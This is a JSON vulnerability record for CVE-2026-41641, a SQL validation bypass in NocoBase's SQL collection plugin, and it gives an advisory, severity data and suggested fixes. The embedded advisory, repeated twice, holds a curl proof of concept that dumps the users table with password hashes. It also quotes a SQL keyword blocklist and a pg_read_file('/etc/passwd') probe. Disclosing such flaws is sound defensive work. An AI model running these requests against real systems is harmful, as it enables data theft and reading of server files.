{"id":"CVE-2026-41641","aliases":["EUVD-2026-28318","GHSA-wrwh-c28m-9jjh"],"status":"published","title":"NocoBase Vulnerable to SQL Validation Bypass via `sqlCollection:update` Missing `checkSQL` Call","description":"NocoBase is an AI-powered no-code/low-code platform for building business applications and enterprise solutions. Prior to version 2.0.39, the checkSQL() validation function that blocks dangerous SQL keywords (e.g., pg_read_file, LOAD_FILE, dblink) is applied on the collections:create and sqlCollection:execute endpoints but is entirely missing on the sqlCollection:update endpoint. An attacker with collection management permissions can create a SQL collection with benign SQL, then update it with arbitrary SQL that bypasses all validation, and query the collection to execute the injected SQL and exfiltrate data. This issue has been patched in version 2.0.39.","severity":{"version":"3.1","score":7.2,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-12","score":0.01833,"percentile":0.79211,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-284","CWE-89"],"published":"2026-04-22T20:07:11Z","modified":"2026-11-11T23:10:00Z","exploits":[{"source":"nuclei","id":"CVE-2026-41641","title":"NocoBase - SQL Injection","type":"detection template","url":"https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2026/CVE-2026-41641.yaml"}],"fixes":[{"ecosystem":"npm","package":"@nocobase/plugin-collection-sql","fixed_in":["2.0.39"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"@nocobase/plugin-collection-sql","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.0.39"}]}]},{"source":"osv","ecosystem":"npm","package":"@nocobase/plugin-collection-sql","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"2.0.39"}]}]}],"products":[{"vendor":"nocobase","product":"nocobase"}],"references":[{"url":"https://github.com/nocobase/nocobase/security/advisories/GHSA-wrwh-c28m-9jjh","tags":["x_refsource_CONFIRM","exploit","Exploit","Mitigation","Vendor Advisory","advisory","web"]},{"url":"https://github.com/nocobase/nocobase/pull/9134","tags":["x_refsource_MISC","Issue Tracking","Patch","fix","web"]},{"url":"https://github.com/nocobase/nocobase/commit/851aee543efa894142e0f7be03eb55d9cec06a91","tags":["x_refsource_MISC","Patch","fix","web"]},{"url":"https://github.com/nocobase/nocobase/releases/tag/v2.0.39","tags":["x_refsource_MISC","Patch","Product","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-41641","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-wrwh-c28m-9jjh"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/41xxx/CVE-2026-41641.json","tags":["advisory"]},{"url":"https://github.com/nocobase/nocobase","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-41641","title":"NocoBase Vulnerable to SQL Validation Bypass via `sqlCollection:update` Missing `checkSQL` Call","description":"NocoBase is an AI-powered no-code/low-code platform for building business applications and enterprise solutions. Prior to version 2.0.39, the checkSQL() validation function that blocks dangerous SQL keywords (e.g., pg_read_file, LOAD_FILE, dblink) is applied on the collections:create and sqlCollection:execute endpoints but is entirely missing on the sqlCollection:update endpoint. An attacker with collection management permissions can create a SQL collection with benign SQL, then update it with arbitrary SQL that bypasses all validation, and query the collection to execute the injected SQL and exfiltrate data. This issue has been patched in version 2.0.39.","status":"published","published":"2026-05-07T04:13:33.609Z","modified":"2026-05-07T14:14:23.539Z","cvss":[{"version":"3.1","score":7.2,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H","level":"high","assessor":"cna"}],"cwes":["CWE-89","CWE-284"],"updated_at":"2026-11-02T13:41:19.694734Z"}],"euvd":[{"id":"EUVD-2026-28318","description":"NocoBase is an AI-powered no-code/low-code platform for building business applications and enterprise solutions. Prior to version 2.0.39, the checkSQL() validation function that blocks dangerous SQL keywords (e.g., pg_read_file, LOAD_FILE, dblink) is applied on the collections:create and sqlCollection:execute endpoints but is entirely missing on the sqlCollection:update endpoint. An attacker with collection management permissions can create a SQL collection with benign SQL, then update it with arbitrary SQL that bypasses all validation, and query the collection to execute the injected SQL and exfiltrate data. This issue has been patched in version 2.0.39.","status":"published","published":"2026-05-07T04:13:33Z","modified":"2026-05-07T14:14:23Z","cvss":[{"version":"3.1","score":7.2,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T19:05:15.366699Z"}],"ghsa":[{"id":"GHSA-wrwh-c28m-9jjh","title":"@nocobase/plugin-collection-sql: SQL Validation Bypass Through Missing `checkSQL` Call","description":"## Summary\n\nThe `checkSQL()` validation function that blocks dangerous SQL keywords (e.g., `pg_read_file`, `LOAD_FILE`, `dblink`) is applied on the `collections:create` and `sqlCollection:execute` endpoints but is entirely missing on the `sqlCollection:update` endpoint. An attacker with collection management permissions can create a SQL collection with benign SQL, then update it with arbitrary SQL that bypasses all validation, and query the collection to execute the injected SQL and exfiltrate data.\n\n**Affected component:** `@nocobase/plugin-collection-sql`\n**Affected versions:** \u003c= 2.0.32 (confirmed)\n**Minimum privilege:** Collection management permissions (`pm.data-source-manager.collection-sql` snippet)\n\n## Vulnerable Code\n\n### `checkSQL` is applied on create and execute\n\n`packages/plugins/@nocobase/plugin-collection-sql/src/server/resources/sql.ts`\n\n```javascript\n// Line 51-60 — execute action: checkSQL IS called\nexecute: async (ctx: Context, next: Next) =\u003e {\n    const { sql } = ctx.action.params.values || {};\n    try { checkSQL(sql); } catch (e) { ctx.throw(400, ctx.t(e.message)); }\n    // ...\n}\n```\n\n### `checkSQL` is NOT applied on update\n\n```javascript\n// Line 105-118 — update action: checkSQL IS NOT called\nupdate: async (ctx: Context, next: Next) =\u003e {\n    const transaction = await ctx.app.db.sequelize.transaction();\n    try {\n        const { upRes } = await updateCollection(ctx, transaction);\n        // No checkSQL() call anywhere in this path!\n        const [collection] = upRes;\n        await collection.load({ transaction, resetFields: true });\n        await transaction.commit();\n    }\n    // ...\n}\n```\n\n### The `checkSQL` function itself\n\n`packages/plugins/@nocobase/plugin-collection-sql/src/server/utils.ts:10-28`\n\n```javascript\nexport const checkSQL = (sql: string) =\u003e {\n  const dangerKeywords = [\n    'pg_read_file', 'pg_write_file', 'pg_ls_dir', 'LOAD_FILE',\n    'INTO OUTFILE', 'INTO DUMPFILE', 'dblink', 'lo_import', // ...\n  ];\n  sql = sql.trim().split(';').shift();\n  if (!/^select/i.test(sql) \u0026\u0026 !/^with([\\s\\S]+)select([\\s\\S]+)/i.test(sql)) {\n    throw new Error('Only supports SELECT statements or WITH clauses');\n  }\n  if (dangerKeywords.some((keyword) =\u003e sql.toLowerCase().includes(keyword.toLowerCase()))) {\n    throw new Error('SQL statements contain dangerous keywords');\n  }\n};\n```\n\n## PoC\n\n```bash\nTOKEN=\"\u003cadmin_jwt_token\u003e\"\n\n# Step 1: Create collection with valid SQL (passes checkSQL)\ncurl -s http://TARGET:13000/api/collections:create \\\n  -H \"Authorization: Bearer $TOKEN\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\n    \"name\": \"exfil_collection\",\n    \"sql\": \"SELECT 1 as id\",\n    \"fields\": [{\"name\": \"id\", \"type\": \"integer\"}],\n    \"template\": \"sql\"\n  }'\n\n# Step 2: Verify checkSQL blocks dangerous SQL on create\ncurl -s http://TARGET:13000/api/collections:create \\\n  -H \"Authorization: Bearer $TOKEN\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"name\": \"blocked\", \"sql\": \"SELECT pg_read_file('\\''/etc/passwd'\\'')\", \"fields\": [], \"template\": \"sql\"}'\n# Returns: 400 \"SQL statements contain dangerous keywords\"\n\n# Step 3: Update with dangerous SQL — bypasses checkSQL entirely\ncurl -s \"http://TARGET:13000/api/sqlCollection:update?filterByTk=exfil_collection\" \\\n  -X POST \\\n  -H \"Authorization: Bearer $TOKEN\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\n    \"sql\": \"SELECT * FROM users\",\n    \"fields\": [\n      {\"name\": \"id\", \"type\": \"integer\"},\n      {\"name\": \"email\", \"type\": \"string\"},\n      {\"name\": \"password\", \"type\": \"string\"}\n    ]\n  }'\n# Returns: 200 OK — no validation!\n\n# Step 4: Query the collection to exfiltrate data\ncurl -s \"http://TARGET:13000/api/exfil_collection:list\" \\\n  -H \"Authorization: Bearer $TOKEN\"\n# Returns: all rows from users table including password hashes\n```\n\n## Impact\n\n- **Confidentiality:** Arbitrary `SELECT` queries exfiltrate any table. Confirmed dump of the `users` table including password hashes.\n- **Integrity/Availability:** Although `checkSQL` strips after the first semicolon, dangerous single-statement operations like `SELECT ... INTO`, subqueries with side effects, or database-specific functions (`pg_read_file`, `LOAD_FILE`, `dblink`) are all accessible through the update bypass.\n- **Privilege escalation:** On PostgreSQL, `dblink` enables lateral movement to other databases. `pg_read_file` reads arbitrary files from the database server filesystem.\n\n## Fix Suggestion\n\n1. **Add `checkSQL()` to the `update` action.** The one-line fix:\n   ```javascript\n   update: async (ctx: Context, next: Next) =\u003e {\n       const { sql } = ctx.action.params.values || {};\n       if (sql) {\n           try { checkSQL(sql); } catch (e) { ctx.throw(400, ctx.t(e.message)); }\n       }\n       // ... existing code ...\n   }\n   ```\n\n2. **Centralize validation in middleware** rather than per-action. Apply `checkSQL` in the resource middleware for any action that accepts a `sql` field, so future actions cannot accidentally skip it.\n\n3. **Strengthen the blocklist.** The current list is missing `COPY` (PostgreSQL file I/O and RCE), `CREATE`, `ALTER`, `DROP`, `GRANT`, `SET`, and `EXECUTE`. Consider switching to a parser-based allowlist that only permits `SELECT` and `WITH ... SELECT` at the AST level rather than relying on keyword blocklisting.","status":"published","published":"2026-04-22T20:07:11Z","modified":"2026-05-08T20:10:03Z","cvss":[{"version":"3.1","score":7.2,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"cwes":["CWE-89","CWE-284"],"updated_at":"2026-11-02T14:40:04.762828Z"}],"nvd":[{"id":"CVE-2026-41641","description":"NocoBase is an AI-powered no-code/low-code platform for building business applications and enterprise solutions. Prior to version 2.0.39, the checkSQL() validation function that blocks dangerous SQL keywords (e.g., pg_read_file, LOAD_FILE, dblink) is applied on the collections:create and sqlCollection:execute endpoints but is entirely missing on the sqlCollection:update endpoint. An attacker with collection management permissions can create a SQL collection with benign SQL, then update it with arbitrary SQL that bypasses all validation, and query the collection to execute the injected SQL and exfiltrate data. This issue has been patched in version 2.0.39.","status":"published","published":"2026-05-07T06:16:05.073Z","modified":"2026-11-11T23:10:00.263Z","cvss":[{"version":"3.1","score":7.2,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H","level":"high","assessor":"secondary"}],"cwes":["CWE-89","CWE-284"],"updated_at":"2026-11-12T01:26:59.692044Z"}],"osv":[{"id":"CVE-2026-41641","title":"NocoBase Vulnerable to SQL Validation Bypass via `sqlCollection:update` Missing `checkSQL` Call","description":"NocoBase is an AI-powered no-code/low-code platform for building business applications and enterprise solutions. Prior to version 2.0.39, the checkSQL() validation function that blocks dangerous SQL keywords (e.g., pg_read_file, LOAD_FILE, dblink) is applied on the collections:create and sqlCollection:execute endpoints but is entirely missing on the sqlCollection:update endpoint. An attacker with collection management permissions can create a SQL collection with benign SQL, then update it with arbitrary SQL that bypasses all validation, and query the collection to execute the injected SQL and exfiltrate data. This issue has been patched in version 2.0.39.","status":"published","published":"2026-05-07T04:13:33.609Z","modified":"2026-10-28T02:30:27.65560138Z","cvss":[{"version":"3.1","score":7.2,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"cwes":["CWE-284","CWE-89"],"updated_at":"2026-11-02T15:45:03.764807Z"},{"id":"GHSA-wrwh-c28m-9jjh","title":"@nocobase/plugin-collection-sql: SQL Validation Bypass Through Missing `checkSQL` Call","description":"## Summary\n\nThe `checkSQL()` validation function that blocks dangerous SQL keywords (e.g., `pg_read_file`, `LOAD_FILE`, `dblink`) is applied on the `collections:create` and `sqlCollection:execute` endpoints but is entirely missing on the `sqlCollection:update` endpoint. An attacker with collection management permissions can create a SQL collection with benign SQL, then update it with arbitrary SQL that bypasses all validation, and query the collection to execute the injected SQL and exfiltrate data.\n\n**Affected component:** `@nocobase/plugin-collection-sql`\n**Affected versions:** \u003c= 2.0.32 (confirmed)\n**Minimum privilege:** Collection management permissions (`pm.data-source-manager.collection-sql` snippet)\n\n## Vulnerable Code\n\n### `checkSQL` is applied on create and execute\n\n`packages/plugins/@nocobase/plugin-collection-sql/src/server/resources/sql.ts`\n\n```javascript\n// Line 51-60 — execute action: checkSQL IS called\nexecute: async (ctx: Context, next: Next) =\u003e {\n    const { sql } = ctx.action.params.values || {};\n    try { checkSQL(sql); } catch (e) { ctx.throw(400, ctx.t(e.message)); }\n    // ...\n}\n```\n\n### `checkSQL` is NOT applied on update\n\n```javascript\n// Line 105-118 — update action: checkSQL IS NOT called\nupdate: async (ctx: Context, next: Next) =\u003e {\n    const transaction = await ctx.app.db.sequelize.transaction();\n    try {\n        const { upRes } = await updateCollection(ctx, transaction);\n        // No checkSQL() call anywhere in this path!\n        const [collection] = upRes;\n        await collection.load({ transaction, resetFields: true });\n        await transaction.commit();\n    }\n    // ...\n}\n```\n\n### The `checkSQL` function itself\n\n`packages/plugins/@nocobase/plugin-collection-sql/src/server/utils.ts:10-28`\n\n```javascript\nexport const checkSQL = (sql: string) =\u003e {\n  const dangerKeywords = [\n    'pg_read_file', 'pg_write_file', 'pg_ls_dir', 'LOAD_FILE',\n    'INTO OUTFILE', 'INTO DUMPFILE', 'dblink', 'lo_import', // ...\n  ];\n  sql = sql.trim().split(';').shift();\n  if (!/^select/i.test(sql) \u0026\u0026 !/^with([\\s\\S]+)select([\\s\\S]+)/i.test(sql)) {\n    throw new Error('Only supports SELECT statements or WITH clauses');\n  }\n  if (dangerKeywords.some((keyword) =\u003e sql.toLowerCase().includes(keyword.toLowerCase()))) {\n    throw new Error('SQL statements contain dangerous keywords');\n  }\n};\n```\n\n## PoC\n\n```bash\nTOKEN=\"\u003cadmin_jwt_token\u003e\"\n\n# Step 1: Create collection with valid SQL (passes checkSQL)\ncurl -s http://TARGET:13000/api/collections:create \\\n  -H \"Authorization: Bearer $TOKEN\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\n    \"name\": \"exfil_collection\",\n    \"sql\": \"SELECT 1 as id\",\n    \"fields\": [{\"name\": \"id\", \"type\": \"integer\"}],\n    \"template\": \"sql\"\n  }'\n\n# Step 2: Verify checkSQL blocks dangerous SQL on create\ncurl -s http://TARGET:13000/api/collections:create \\\n  -H \"Authorization: Bearer $TOKEN\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"name\": \"blocked\", \"sql\": \"SELECT pg_read_file('\\''/etc/passwd'\\'')\", \"fields\": [], \"template\": \"sql\"}'\n# Returns: 400 \"SQL statements contain dangerous keywords\"\n\n# Step 3: Update with dangerous SQL — bypasses checkSQL entirely\ncurl -s \"http://TARGET:13000/api/sqlCollection:update?filterByTk=exfil_collection\" \\\n  -X POST \\\n  -H \"Authorization: Bearer $TOKEN\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\n    \"sql\": \"SELECT * FROM users\",\n    \"fields\": [\n      {\"name\": \"id\", \"type\": \"integer\"},\n      {\"name\": \"email\", \"type\": \"string\"},\n      {\"name\": \"password\", \"type\": \"string\"}\n    ]\n  }'\n# Returns: 200 OK — no validation!\n\n# Step 4: Query the collection to exfiltrate data\ncurl -s \"http://TARGET:13000/api/exfil_collection:list\" \\\n  -H \"Authorization: Bearer $TOKEN\"\n# Returns: all rows from users table including password hashes\n```\n\n## Impact\n\n- **Confidentiality:** Arbitrary `SELECT` queries exfiltrate any table. Confirmed dump of the `users` table including password hashes.\n- **Integrity/Availability:** Although `checkSQL` strips after the first semicolon, dangerous single-statement operations like `SELECT ... INTO`, subqueries with side effects, or database-specific functions (`pg_read_file`, `LOAD_FILE`, `dblink`) are all accessible through the update bypass.\n- **Privilege escalation:** On PostgreSQL, `dblink` enables lateral movement to other databases. `pg_read_file` reads arbitrary files from the database server filesystem.\n\n## Fix Suggestion\n\n1. **Add `checkSQL()` to the `update` action.** The one-line fix:\n   ```javascript\n   update: async (ctx: Context, next: Next) =\u003e {\n       const { sql } = ctx.action.params.values || {};\n       if (sql) {\n           try { checkSQL(sql); } catch (e) { ctx.throw(400, ctx.t(e.message)); }\n       }\n       // ... existing code ...\n   }\n   ```\n\n2. **Centralize validation in middleware** rather than per-action. Apply `checkSQL` in the resource middleware for any action that accepts a `sql` field, so future actions cannot accidentally skip it.\n\n3. **Strengthen the blocklist.** The current list is missing `COPY` (PostgreSQL file I/O and RCE), `CREATE`, `ALTER`, `DROP`, `GRANT`, `SET`, and `EXECUTE`. Consider switching to a parser-based allowlist that only permits `SELECT` and `WITH ... SELECT` at the AST level rather than relying on keyword blocklisting.","status":"published","published":"2026-04-22T20:07:11Z","modified":"2026-05-08T20:26:25.418245Z","cvss":[{"version":"3.1","score":7.2,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"cwes":["CWE-284","CWE-89"],"updated_at":"2026-11-02T15:46:59.131095Z"}]}}